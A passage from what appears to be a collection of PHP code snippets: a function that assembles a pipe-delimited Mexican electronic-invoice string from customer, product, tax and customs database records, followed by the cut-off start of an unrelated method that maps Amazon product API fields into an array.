pago\n\t\t$charelectronic=$charelectronic.'|Genera Interes Moratorio 3 % mensual/credito';\n\t\t// metodo de pago\n\t//\t$metodopago='varios';\n\t\t$charelectronic=$charelectronic.'|'.$metodopago;\n\t\t// fecha vencimiento\n\t\t$fechavence=$myrow['trandate'];\n\t\t$charelectronic=$charelectronic.'|'.$fechavence;\n\t\t// observaciones 4\n\t\t$observaciones4=$observaciones3;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones4;\n\t\t// datos del cliente\n\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'03';\n\t\t$branch=$myrow['debtorno'];\n\t\t$charelectronic=$charelectronic.'|'.$branch;\n\t\t$charelectronic=$charelectronic.'|'.$rfccliente;\n\t\t$charelectronic=$charelectronic.'|'.$nombre;\n\t\t//$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));//\"Mexico\";//$myrow['name'];\n\t\tif (strlen(str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi']))))))>0){\n\t\t\t$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));//\"Mexico\";//$myrow['name'];\n\t\t}else{\n\t\t\t$pais=\"Mexico\";\n\t\t}\n\n\t\tif (in_array($_SESSION['DatabaseName'], $arrBDAplicar)) {\n\t\t\t$charelectronic=$charelectronic.'|';\n\t\t}\n\t\telse{\n\t\t\t$charelectronic=$charelectronic.'|'.$pais;\n\t\t}\n\t\t\n\t\t$calle=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$calle=$myrow['address1'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$calle;\n\t\t$noext=$myrow['brnumext'];\n\t\t$charelectronic=$charelectronic.'|'.$noext;\n\t\t$noint=$myrow['brnumint'];\n\t\t$charelectronic=$charelectronic.'|'.$noint;\n\t\t$colonia=\"\";\n\n\t\tif ($imprimepublico==0 || in_array($_SESSION['DatabaseName'], $arrBDAplicar)){\n $colonia=$myrow['address2'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$colonia;\n\t\t$localidad=\"\";\n\t\t$charelectronic=$charelectronic.'|'.$localidad;\n\t\t$referenciacalle=\"\";\n\t\t$charelectronic=$charelectronic.'|'.$referenciacalle;\n\t\t$municipio=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$municipio=$myrow['address3'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$municipio;\n\t\t$edo=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$edo=$myrow['address4'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$edo;\n\t\t$cp=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$cp=$myrow['address5'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$cp;\n\t\t// datos del custbranch\n\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'04';\n\t\t$branch=$myrow['branchcode'];\n\t\t$charelectronic=$charelectronic.'|'.$branch;\n\t\t//$rfc=$myrow['rfc'];\n\t\t//$charelectronic=$charelectronic.'|'.$rfccliente;\n\t\t$nombre=$myrow['name'];\n\t\t$charelectronic=$charelectronic.'|'.$nombre;\n\t\t//$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));\n\t\tif (strlen(str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi']))))))>0){\n\t\t\t$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));//\"Mexico\";//$myrow['name'];\n\t\t}else{\n\t\t\t$pais=\"Mexico\";\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$pais;\n\t\t$calle=$myrow['braddress1'];\n\t\t$charelectronic=$charelectronic.'|'.$calle;\n\t\t$noext=$myrow['brnumext'];\n\t\t$charelectronic=$charelectronic.'|'.$noext;\n\t\t$noint=$myrow['brnumint'];\n\t\t$charelectronic=$charelectronic.'|'.$noint;\n\t\t$colonia=$myrow['braddress6'];\n\t\t$charelectronic=$charelectronic.'|'.$colonia;\n\t\t$localidad=$myrow['braddress2'];\n\t\t$charelectronic=$charelectronic.'|'.$localidad;\n\t\t$referenciacalle=\"\";\n\t\t$charelectronic=$charelectronic.'|'.$referenciacalle;\n\t\t$municipio=$myrow['braddress3'];\n\t\t$charelectronic=$charelectronic.'|'.$municipio;\n\t\t$edo=$myrow['braddress3'];\n\t\t$charelectronic=$charelectronic.'|'.$edo;\n\t\t$cp=$myrow['braddress4'];\n\t\t$charelectronic=$charelectronic.'|'.$cp;\n\n\t}\n\t// cadena para datos de los productos\n\t// productos vendidos\n\t$charelectronicdetail='';\n\t$charelectronicinidet='|'.chr(13).chr(10).'05';\n\t// datos de ivas\n\t$charelectronictaxs='';\n\t$charelectronictaxsini='|'.chr(13).chr(10).'07';\n\tif ($_SESSION['DecimalPlacesInvoice']==''){\n\t\t$_SESSION['DecimalPlacesInvoice']=6;\n\t}\n\t$decimalplaces=$_SESSION['DecimalPlacesInvoice'];\n\tif ($rfccliente!=\"XAXX010101000\"){\n\t\t$sqldetails = 'SELECT stockmoves.stkmoveno,\n\t\t\t\t\tstockmoves.stockid,\n\t\t\t\t\tstockmoves.warranty,\n\t\t\t\t\tstockmaster.description,\n\t\t\t\t\tstockmaster.serialised,\n\t\t\t\t\tstockmaster.controlled,\n\t\t\t\t\t(stockmoves.qty) as quantity ,\n\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\tstockmaster.units,\n\t\t\t\t\tstockmaster.decimalplaces,\n\t\t\t\t\tstockmoves.discountpercent,\n\t\t\t\t\tstockmoves.discountpercent1,\n\t\t\t\t\tstockmoves.discountpercent2,\n\t\t\t\t\t((stockmoves.qty)*(stockmoves.price)) AS fxnet,\n\t\t\t\t\t((stockmoves.qty)*(stockmoves.price))- totaldescuento AS subtotal,\n\t\t\t\t\t(stockmoves.price) AS fxprice,\n\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\tstockmaster.units,\n\t\t\t\t\tstockmaster.categoryid\n\t\t\tFROM stockmoves,stockmaster\n\t\t\tWHERE stockmoves.stockid = stockmaster.stockid\n\t\t\t\tAND stockmoves.type='.$TypeInvoice.'\n\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\tAND stockmoves.show_on_inv_crds=1';\n\n\t\t$resultdetails=DB_query($sqldetails,$db);\n\t\t$nolinea=0;\n\t\t$descrprop=\"\";\n\t\twhile ($myrow2=DB_fetch_array($resultdetails)){\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.$charelectronicinidet.'|'.$stockid;\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockid;\n\t\t\t$stockcantidad=number_format($myrow2['quantity'],4,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcantidad;\n\t\t\t$stockdescrip=$myrow2['description'];\n\t\t\t// valores de los vendedorfees por linea\n\t\t\t$descrprop=\" (\";\n\t\t\t$sqlpropertyes=\"SELECT DISTINCT p.InvoiceValue AS val,\n\t\t\t\t\t\t\t p.complemento,\n\t\t\t\t\t\t\t sp.label\n\t\t\t\t\t\t\tFROM salesstockproperties p,\n\t\t\t\t\t\t\t stockcatproperties sp,\n\t\t\t\t\t\t\t stockmaster sm\n\t\t\t\t\t\t\tWHERE p.stkcatpropid=sp.stkcatpropid\n\t\t\t\t\t\t\t AND sp.categoryid=sm.categoryid\n\t\t\t\t\t\t\t AND p.orderno=\" . $orderno . \"\n\t\t\t\t\t\t\t AND p.typedocument=11\n\t\t\t\t\t\t\t AND sp.reqatprint=1\n\t\t\t\t\t\t\t AND sm.stockid='\" . $stockid . \"'\";\n\t\t\t$resultpropertyes=DB_query($sqlpropertyes,$db);\n\t\t\t$xt=0;\n\t\t\twhile ($myrowprop=DB_fetch_array($resultpropertyes)){\n\t\t\t\t$traba=explode(\" \",$myrowprop['val']);\n\t\t\t\t$trab=$traba[0];\n\t\t\t\tif ($xt==0) {\n\t\t\t\t\t$descrprop=$descrprop.' '.$myrowprop['label'].':'.$trab;\n\t\t\t\t} else {\n\t\t\t\t\t$descrprop=$descrprop.\" , \".$myrowprop['label'].':'.$trab;\n\t\t\t\t}\n\n\t\t\t\tswitch ($myrowprop['val']) {\n\t\t\t\t\tcase 'Interno':\n\t\t\t\t\t\t$sqlbomb = \"SELECT class FROM stockclass WHERE idclass = '\" . $myrowprop['complemento'] . \"'\";\n\t\t\t\t\t\t$rsqlbomb = DB_query($sqlbomb, $db);\n\t\t\t\t\t\t$rowbom = DB_fetch_array($rsqlbomb);\n\t\t\t\t\t\t$descrprop .= \" - Proveedor : \" . $rowbom['class'];\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'Externo':\n\t\t\t\t\t\t$sqlbomb = \" SELECT suppname FROM suppliers WHERE supplierid = '\" . $myrowprop['complemento'] . \"'\";\n\t\t\t\t\t\t$rsqlbomb = DB_query($sqlbomb, $db);\n\t\t\t\t\t\t$rowbom = DB_fetch_array($rsqlbomb);\n\t\t\t\t\t\t$descrprop .= \" - Proveedor : \" . $rowbom['suppname'];\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\t$xt=$xt+1;\n\t\t\t}\n\t\t\t$descrprop=$descrprop.\" )\";\n\t\t\tif ($xt==0){\n\t\t\t\t$descrprop=\"\";\n\t\t\t}\n\n\t\t\t$descrnarrative=\"\";\n\t\t\t$sqlnarrative=\"SELECT narrative\n\t\t\t\tFROM notesorderdetails p\n\t\t\t\tWHERE p.orderno=\" . $orderno . \"\n\t\t\t\t AND p.stkcode='\" . $stockid . \"'\";\n\t\t\t$resultnarrative=DB_query($sqlnarrative,$db);\n\t\t\twhile ($myrownarrative=DB_fetch_array($resultnarrative)){\n\t\t\t\t$descrnarrative=str_replace('\\r','',str_replace('\\n','',$myrownarrative['narrative']));\n $descrnarrative = str_replace('|', '-', $descrnarrative);\n\t\t\t}\n\t\t\tif (strlen($descrnarrative)==0){\n\t\t\t\t$descrnarrative=\"\";\n\t\t\t}\n\t\t\t// consultar cantidad restante para tyqsa en remisones contra orden de trabajo\n\t\t\t/*$sqlnarrative=\"SELECT narrative\n\t\t\t\tFROM notesorderdetails p\n\t\t\t\tWHERE p.orderno=\" . $orderno . \"\n\t\t\t\t AND p.stkcode='\" . $stockid . \"'\";*/\n\t\t\t\n\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockdescrip.$descrprop.$descrnarrative;\n\t\t\t\n\t\t\t//IF($_SESSION)\n\t\t\t//ECHO $charelectronicdetail;\n\t\t\t$stockprecio=number_format($myrow2['fxprice'],6,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockprecio;\n\t\t\t$stockneto=number_format($myrow2['fxnet'],6,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockneto;\n\t\t\t$stockunits=$myrow2['units'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockunits;\n\t\t\t$stockcat=$myrow2['categoryid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcat;\n\t\t\t$ordencompra=\"\";\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$ordencompra;\n\t\t\t// descuentos\n\t\t\t$discount1=number_format($myrow2['discountpercent']*100,2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount1;\n\t\t\t$discount2=number_format($myrow2['discountpercent1']*100,2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount2;\n\t\t\t$discount3=number_format($myrow2['discountpercent2']*100,2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount3;\n\t\t\t//subtotal\n\t\t\t$subtotal=number_format($myrow2['subtotal'],2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\t\t\t$nameaduana='';\n\t\t\t$numberaduana='';\n\t\t\t$fechaaduana='';\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$nameaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$numberaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$fechaaduana;\n\t\t\t$stkmoveno=$myrow2['stkmoveno'];\n\t\t\t$nolinea=$nolinea+1;\n\t\t\t$sqlstockmovestaxes=\"SELECT stkmoveno,taxauthid,taxrate,\n\t\t\t\t\t\ttaxcalculationorder,taxontax,\n\t\t\t\t\t\ttaxauthorities.description\n\t\t\t\t\t FROM stockmovestaxes,taxauthorities\n\t\t\t\t\t WHERE taxauthorities.taxid=stockmovestaxes.taxauthid\n\t\t\t\t\t\t AND stkmoveno=\".$stkmoveno;\n\t\t\t$resultstockmovestaxes=DB_query($sqlstockmovestaxes,$db);\n\t\t\twhile ($myrow3=DB_fetch_array($resultstockmovestaxes)){\n\t\t\t\t$impuesto=$myrow3['description']; \n\t\t\t\t$charelectronictaxs=$charelectronictaxs.$charelectronictaxsini.'|'.$impuesto;\n\t\t\t\t$taxrate=number_format($myrow3['taxrate']*100,2,'.','');\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxrate;\n\t\t\t\t$taxratetotal=number_format($myrow3['taxrate']*($myrow2['subtotal'] - $totalRowAnticipo),6,'.','');\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxratetotal;\n\n\t\t\t}\n\n\t\t}\n\t}else{\n\t\t$sqldetails = 'SELECT stockmoves.stkmoveno,\n\t\t\t\t\tstockmoves.stockid,\n\t\t\t\t\tstockmoves.warranty,\n\t\t\t\t\tstockmaster.description,\n\t\t\t\t\tstockmaster.serialised,\n\t\t\t\t\tstockmaster.controlled,\n\t\t\t\t\t(stockmoves.qty) as quantity ,\n\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\tstockmaster.units,\n\t\t\t\t\tstockmaster.decimalplaces,\n\t\t\t\t\tstockmoves.discountpercent,\n\t\t\t\t\tstockmoves.discountpercent1,\n\t\t\t\t\tstockmoves.discountpercent2,\n\t\t\t\t\t((stockmoves.qty)*(stockmoves.price)) AS fxnet,\n\t\t\t\t\t((stockmoves.qty)*(stockmoves.price))-totaldescuento AS subtotal,\n\t\t\t\t\t(stockmoves.price) AS fxprice,\n\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\tstockmaster.units,\n\t\t\t\t\tstockmaster.categoryid\n\t\t\tFROM stockmoves,stockmaster\n\t\t\tWHERE stockmoves.stockid = stockmaster.stockid\n\t\t\t\tAND stockmoves.type='.$TypeInvoice.'\n\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\tAND stockmoves.show_on_inv_crds=1';\n\t\t\n\t\t$sqldetails = 'SELECT stockmoves.stkmoveno,\n\t\t\t\t\t\tstockmoves.stockid,\n\t\t\t\t\t\tstockmoves.warranty,\n\t\t\t\t\t\tstockmaster.description,\n\t\t\t\t\t\tstockmaster.serialised,\n\t\t\t\t\t\tstockmaster.controlled,\n\t\t\t\t\t\t(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) as quantity ,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.decimalplaces,\n\t\t\t\t\t\tstockmoves.discountpercent,\n\t\t\t\t\t\tstockmoves.discountpercent1,\n\t\t\t\t\t\tstockmoves.discountpercent2,\n\t\t\t\t\t\t((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price + (stockmoves.price * IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate)))) AS fxnet,\n\t\t\t\t\t\t((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price + (stockmoves.price * IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate))))-totaldescuento as subtotal,\n\t\t\t\t\t\t(stockmoves.price + (stockmoves.price * IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate))) AS fxprice,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.categoryid,\n\t\t\t\t\t\tstockmoves.loccode as almacen,\n\t\t\t\t\t\tstockmoves.showdescription,\n\t\t\t\t\t stockcategory.MensajePV\n\t\t\t\t\tFROM stockmoves inner join stockmaster ON stockmoves.stockid = stockmaster.stockid\n\t\t\t\t\t\t\t\tinner join stockcategory on stockcategory.categoryid = stockmaster.categoryid\n\t\t\t\t\t\t\t\tleft JOIN stockmovestaxes ON stockmovestaxes.stkmoveno=stockmoves.stkmoveno\n\t\t\t\tWHERE stockmoves.stockid = stockmaster.stockid\n\t\t\t\t\tAND stockmoves.type='.$TypeInvoice.'\n\t\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\t\tAND stockmoves.show_on_inv_crds=1\n\t\t\t\t\tAND stockcategory.categoryid = stockmaster.categoryid';\n\t\t\n\t\t$resultdetails=DB_query($sqldetails,$db);\n\t\twhile ($myrow2=DB_fetch_array($resultdetails)){\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.$charelectronicinidet.'|'.$stockid;\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockid;\n\t\t\t$stockcantidad=number_format($myrow2['quantity'],$decimalplaces,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcantidad;\n\t\t\t$stockdescrip=$myrow2['description'].' '.$myrow['ordertype'];\n\t\t\t// valores de los vendedorfees por linea\n\t\t\t$descrprop=\" (\";\n\t\t\t$sqlpropertyes=\"SELECT DISTINCT p.InvoiceValue AS val,\n\t\t\t\t\t\t\t p.complemento,\n\t\t\t\t\t\t\t sp.label\n\t\t\t\t\t\t\tFROM salesstockproperties p,\n\t\t\t\t\t\t\t stockcatproperties sp,\n\t\t\t\t\t\t\t stockmaster sm\n\t\t\t\t\t\t\tWHERE p.stkcatpropid=sp.stkcatpropid\n\t\t\t\t\t\t\t AND sp.categoryid=sm.categoryid\n\t\t\t\t\t\t\t AND p.orderno=\" . $orderno . \"\n\t\t\t\t\t\t\t AND p.typedocument=\" . $TypeInvoice . \"\n\t\t\t\t\t\t\t AND sp.reqatprint=1\n\t\t\t\t\t\t\t AND sm.stockid='\" . $stockid . \"'\";\n\t\t\t$resultpropertyes=DB_query($sqlpropertyes,$db);\n\t\t\t$xt=0;\n\t\t\twhile ($myrowprop=DB_fetch_array($resultpropertyes)){\n\t\t\t\t$traba=explode(\" \",$myrowprop['val']);\n\t\t\t\t$trab=$traba[0];\n\t\t\t\tif ($xt==0) {\n\t\t\t\t\t$descrprop=$descrprop.' '.$myrowprop['label'].':'.$trab;\n\t\t\t\t} else {\n\t\t\t\t\t$descrprop=$descrprop.\" , \".$myrowprop['label'].':'.$trab;\n\t\t\t\t}\n\n\t\t\t\tswitch ($myrowprop['val']) {\n\t\t\t\t\tcase 'Interno':\n\t\t\t\t\t\t$sqlbomb = \"SELECT class FROM stockclass WHERE idclass = '\" . $myrowprop['complemento'] . \"'\";\n\t\t\t\t\t\t$rsqlbomb = DB_query($sqlbomb, $db);\n\t\t\t\t\t\t$rowbom = DB_fetch_array($rsqlbomb);\n\t\t\t\t\t\t$descrprop .= \" - Proveedor : \" . $rowbom['class'];\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'Externo':\n\t\t\t\t\t\t$sqlbomb = \" SELECT suppname FROM suppliers WHERE supplierid = '\" . $myrowprop['complemento'] . \"'\";\n\t\t\t\t\t\t$rsqlbomb = DB_query($sqlbomb, $db);\n\t\t\t\t\t\t$rowbom = DB_fetch_array($rsqlbomb);\n\t\t\t\t\t\t$descrprop .= \" - Proveedor : \" . $rowbom['suppname'];\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\t$xt=$xt+1;\n\t\t\t}\n\t\t\t$descrprop=$descrprop.\" )\";\n\t\t\tif ($xt==0){//\n\t\t\t\t$descrprop=\"\";\n\t\t\t}\n\t\t\tif($myrow2['MensajePV'] <> \"\"){\n\t\t\t\t$descrprop = $descrprop.$myrow2['MensajePV'];\n\t\t\t}\n\t\t\t$descrnarrative=\"\";\n\t\t\t/*$sqlnarrative=\"SELECT narrative\n\t\t\t FROM salesorderdetails p\n\t\t\tWHERE p.orderno=\" . $orderno . \"\n\t\t\tAND p.stkcode='\" . $stockid . \"'\";\n\t\t\t$resultnarrative=DB_query($sqlnarrative,$db);\n\t\t\twhile ($myrownarrative=DB_fetch_array($resultnarrative)){\n\t\t\t$descrnarrative=$myrownarrative['narrative'];\n\t\t\t$descrnarrative=str_replace('|', '', $descrnarrative);\n\t\t\t}*/\n\t\t\t\t\n\t\t\t$descrnarrative=str_replace('\\r','',str_replace('\\n','',$myrow2['narrative']));\n\t\t\t$descrnarrative=str_replace('|', '', $descrnarrative);\n\t\t\t\t\n\t\t\tif (strlen($descrnarrative)==0){\n\t\t\t\t$descrnarrative=\"\";\n\t\t\t}\n\t\t\tif($myrow2['showdescription']==1){\n\t\t\t\t$stockdescripuno=$stockdescrip.$descrprop.$descrnarrative.$numberserie;\n\t\t\t}else{\n\t\t\t\tif (strlen($descrnarrative)==0){\n\t\t\t\t\t$stockdescripuno=$stockdescrip.$descrprop.$descrnarrative.$numberserie;\n\t\t\t\t}else{\n\t\t\t\t\t$stockdescripuno=$descrnarrative;\n\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockdescripuno;\n\t\t\t$stockprecio=number_format($myrow2['fxprice'],$decimalplaces,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockprecio;\n\t\t\t$stockneto=number_format($myrow2['fxnet'],$decimalplaces,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockneto;\n\t\t\t$stockunits=$myrow2['units'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockunits;\n\t\t\t$stockcat=$myrow2['categoryid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcat;\n\t\t\t$ordencompra=\"\";\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$ordencompra;\n\t\t\t// descuentos\n\t\t\t$discount1=number_format($myrow2['discountpercent']*100,2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount1;\n\t\t\t$discount2=number_format($myrow2['discountpercent1']*100,2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount2;\n\t\t\t$discount3=number_format($myrow2['discountpercent2']*100,2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount3;\n\t\t\t//subtotal\n\t\t\t//$subtotal=number_format($myrow2['subtotal'],2,'.','');\n\t\t\t//$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\t\t\t// consulta de aduana\n\t\t\t$stkmoveno=$myrow2['stkmoveno'];\n\t\t\t$almacen=$myrow2['almacen'];\n\t\t\t\n\t\t\t$sqlstockmovestaxes=\"SELECT stkmoveno,taxauthid,taxrate,taxcalculationorder,taxontax,taxauthorities.description\n\t\t\t\t\t FROM stockmovestaxes,taxauthorities\n\t\t\t\t\t WHERE taxauthorities.taxid=stockmovestaxes.taxauthid\n\t\t\t\t\t\t AND stkmoveno=\".$stkmoveno;\n\t\t\t$resultstockmovestaxes=DB_query($sqlstockmovestaxes,$db);\n\t\t\twhile ($myrow3=DB_fetch_array($resultstockmovestaxes)){\n\t\t\t\t$impuesto=$myrow3['description'];\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.$charelectronictaxsini.'|'.$impuesto;\n\t\t\t\t$taxrate=number_format($myrow3['taxrate']*100,'.','');\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxrate;\n\t\t\t\t$taxratetotal=number_format($myrow3['taxrate']*($myrow2['subtotal']),6,'.','');\n\t\t\t\t//$taxtotalratex=$myrow3['taxrate']*($myrow2['fxnet']*$myrow2['fxprice']);\n\t\t\t\t$taxtotalratex=number_format($myrow3['taxrate']*($myrow2['subtotal']),6);\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxratetotal;\n\t\t\t}\n\t\t\t\n\t\t\t$subtotal=number_format($myrow2['subtotal'],2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\t\t\t$subtotal=number_format($myrow2['subtotal'],2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\t\t\t\n\t\t\t$sqladuana=\"SELECT stockserialitems.customs as aduana,customs_number as noaduana,\n\t\t\t\t\tpedimento, DATE_FORMAT(customs_date,'%Y-%m-%d') as fechaaduana\n\t\t\t\t FROM stockserialmoves , stockmoves , stockserialitems\n\t\t\t\t WHERE stockmoves.stkmoveno=stockserialmoves.stockmoveno\n\t\t\t\t\tAND stockserialmoves.stockid=stockserialitems.stockid\n\t\t\t\t\tAND stockserialmoves.serialno=stockserialitems.serialno\n\t\t\t\t\tAND stockserialitems.loccode='\".$almacen.\"'\n\t\t\t\t\tAND stockmoves.stkmoveno=\".$stkmoveno.\"\n\t\t\t\t\tAND stockmoves.stockid='\".$stockid.\"'\";\n\t\t\t$Result= DB_query($sqladuana,$db);\n\t\t\tif (DB_num_rows($Result)==0) {\n\t\t\t\t$nameaduana=\"\";\n\t\t\t\t$numberaduana=\"\";\n\t\t\t\t$fechaaduana=\"\";\n\t\t\t}else{\n\t\t\t\t$myrowaduana = DB_fetch_array($Result);\n\t\t\t\t$aduana=$myrowaduana['aduana'];\n\t\t\t\t$separaaduana=explode(\"|\",$aduana);\n\t\t\t\t$nameaduana = $separaaduana[0];\n\t\t\t\t$numberaduana= $separaaduana[1];\n\t\t\t\t$fechaaduana= $separaaduana[2];\n\t\t\t\tif (strlen($nameaduana)==0 or strlen($numberaduana)==0 /*or !Is_Date($fechaaduana)*/){\n\t\t\t\t\t$nameaduana=\"\";\n\t\t\t\t\t$numberaduana=\"\";\n\t\t\t\t\t$fechaaduana=\"\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t\t\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$nameaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$numberaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$fechaaduana;\n\t\t}\n\t}\n\t// ivas retenidos\n\t$charelectronictaxsret='|'.chr(13).chr(10);//.'07|ISR|0.00';\n\tif ($rfccliente==\"XAXX010101000\"){\n\t\t$cadenaenvio=$charelectronic.$charelectronicdetail.$charelectronictaxsret.$charelectronicEmbarque.$totalCantEmision;\n\t\t$cadenaenviada=retornarString($cadenaenvio);\n\t}else{\n\t\t$cadenaenvio=$charelectronic.$charelectronicdetail.$charelectronictaxs.$charelectronictaxsret.$charelectronicEmbarque.$totalCantEmision;\n\t\t$cadenaenviada=retornarString($cadenaenvio);\n\n\t}\n\t\n\t//echo '<pre><br>'.$cadenaenviada; \n\treturn $cadenaenviada;\n}", "public function build_product_data( $item=array(), $old_item=array() ) {\n\n // summarize product details\n $retProd = array(\n 'ASIN' => isset($item['ASIN']) ? $item['ASIN'] : '',\n 'ParentASIN' => isset($item['ParentASIN']) ? $item['ParentASIN'] : '',\n \n 'ItemAttributes' => isset($item['ItemAttributes']) ? $item['ItemAttributes'] : array(),\n 'Title' => isset($item['ItemAttributes']['Title']) ? stripslashes($item['ItemAttributes']['Title']) : '',\n 'SKU' => isset($item['ItemAttributes']['SKU']) ? $item['ItemAttributes']['SKU'] : '',\n 'Feature' => isset($item['ItemAttributes']['Feature']) ? $item['ItemAttributes']['Feature'] : '',\n 'Brand' => isset($item['ItemAttributes']['Brand']) ? $item['ItemAttributes']['Brand'] : '',\n 'Binding' => isset($item['ItemAttributes']['Binding']) ? $item['ItemAttributes']['Binding'] : '',\n //'ListPrice' => isset($item['ItemAttributes']['ListPrice']['FormattedPrice']) ? $item['ItemAttributes']['ListPrice']['FormattedPrice'] : '',\n \n 'Variations' => isset($item['Variations']) ? $item['Variations'] : array(),\n 'VariationSummary' => isset($item['VariationSummary']) ? $item['VariationSummary'] : array(),\n 'BrowseNodes' => isset($item['BrowseNodes']) ? $item['BrowseNodes'] : array(),\n 'DetailPageURL' => isset($item['DetailPageURL']) ? $item['DetailPageURL'] : '',\n 'SalesRank' => isset($item['SalesRank']) ? $item['SalesRank'] : 999999,\n\n 'SmallImage' => isset($item['SmallImage']['URL']) ? trim( $item['SmallImage']['URL'] ) : '',\n 'LargeImage' => isset($item['LargeImage']['URL']) ? trim( $item['LargeImage']['URL'] ) : '',\n\n 'Offers' => isset($item['Offers']) ? $item['Offers'] : '',\n 'OfferSummary' => isset($item['OfferSummary']) ? $item['OfferSummary'] : '',\n 'EditorialReviews' => isset($item['EditorialReviews']['EditorialReview']['Content'])\n ? $item['EditorialReviews']['EditorialReview']['Content'] : '',\n 